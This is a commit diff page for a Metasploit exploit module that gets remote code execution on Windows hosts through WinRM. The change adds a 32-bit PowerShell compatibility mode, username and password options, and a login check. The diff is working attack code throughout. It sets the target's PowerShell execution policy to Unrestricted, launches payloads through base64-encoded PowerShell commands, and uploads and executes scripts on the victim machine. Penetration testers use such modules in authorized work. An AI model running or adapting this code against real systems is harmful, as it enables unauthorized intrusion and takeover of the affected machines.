Skip to content

Commit d6e2c39

Browse files
committed
Merge branch 'dmaloney-r7-feature/winrm_compat_mode'
2 parents 4828469 + a69a4fb commit d6e2c39

File tree

1 file changed

+33
-11
lines changed

1 file changed

+33
-11
lines changed

modules/exploits/windows/winrm/winrm_script_exec.rb

Lines changed: 33 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,9 @@ def initialize(info = {})
5656

5757
register_options(
5858
[
59-
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])
59+
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]),
60+
OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),
61+
OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]),
6062
], self.class
6163
)
6264

@@ -65,12 +67,12 @@ def initialize(info = {})
6567
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
6668
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
6769
], self.class)
68-
70+
@compat_mode = false
6971
end
7072

7173
def check
7274
unless accepts_ntlm_auth
73-
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
75+
print_error "The Remote WinRM server does not appear to allow Negotiate (NTLM) auth"
7476
return Msf::Exploit::CheckCode::Safe
7577
end
7678

@@ -82,8 +84,11 @@ def exploit
8284
unless check == Msf::Exploit::CheckCode::Vulnerable
8385
return
8486
end
87+
unless valid_login?
88+
print_error "Login Failure. Recheck your credentials"
89+
return
90+
end
8591
if powershell2?
86-
return unless correct_payload_arch?
8792
path = upload_script
8893
return if path.nil?
8994
exec_script(path)
@@ -127,15 +132,15 @@ def upload_script
127132

128133
def exec_script(path)
129134
print_status "Attempting to execute script..."
130-
cmd = "powershell -File #{path}"
135+
cmd = "#{@invoke_powershell} -File #{path}"
131136
winrm_run_cmd_hanging(cmd)
132137
end
133138

134139
def encoded_psh(script)
135140
script = script.chars.to_a.join("\x00").chomp
136141
script << "\x00" unless script[-1].eql? "\x00"
137142
script = Rex::Text.encode_base64(script).chomp
138-
cmd = "powershell -encodedCommand #{script}"
143+
cmd = "#{@invoke_powershell} -encodedCommand #{script}"
139144
end
140145

141146
def temp_dir
@@ -173,11 +178,12 @@ def check_remote_arch
173178
end
174179

175180
def correct_payload_arch?
176-
target_arch = check_remote_arch
177-
case target_arch
181+
@target_arch = check_remote_arch
182+
case @target_arch
178183
when "x64"
179184
unless datastore['PAYLOAD'].include? "x64"
180-
print_error "You selected an x86 payload for an x64 target!"
185+
print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
186+
@compat_mode = true
181187
return false
182188
end
183189
when "x86"
@@ -218,8 +224,15 @@ def powershell2?
218224
end
219225
end
220226

227+
return false unless correct_payload_arch? or @target_arch == "x64"
228+
if @compat_mode == true
229+
@invoke_powershell = "%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
230+
else
231+
@invoke_powershell = "powershell"
232+
end
233+
221234
print_status "Attempting to set Execution Policy"
222-
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
235+
streams = winrm_run_cmd("#{@invoke_powershell} Set-ExecutionPolicy Unrestricted")
223236
if streams == 401
224237
print_error "Login failed!"
225238
return false
@@ -228,12 +241,21 @@ def powershell2?
228241
print_error "Recieved error while running check"
229242
return false
230243
end
231-
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
244+
streams = winrm_run_cmd("#{@invoke_powershell} Get-ExecutionPolicy")
232245
if streams['stdout'].include? 'Unrestricted'
233246
print_good "Set Execution Policy Successfully"
234247
return true
235248
end
236249
return false
237250
end
238251

252+
def valid_login?
253+
data = winrm_wql_msg("Select Name,Status from Win32_Service")
254+
resp,c = send_request_ntlm(data)
255+
unless resp.code == 200
256+
return false
257+
end
258+
return true
259+
end
260+
239261
end

0 commit comments

Comments
 (0)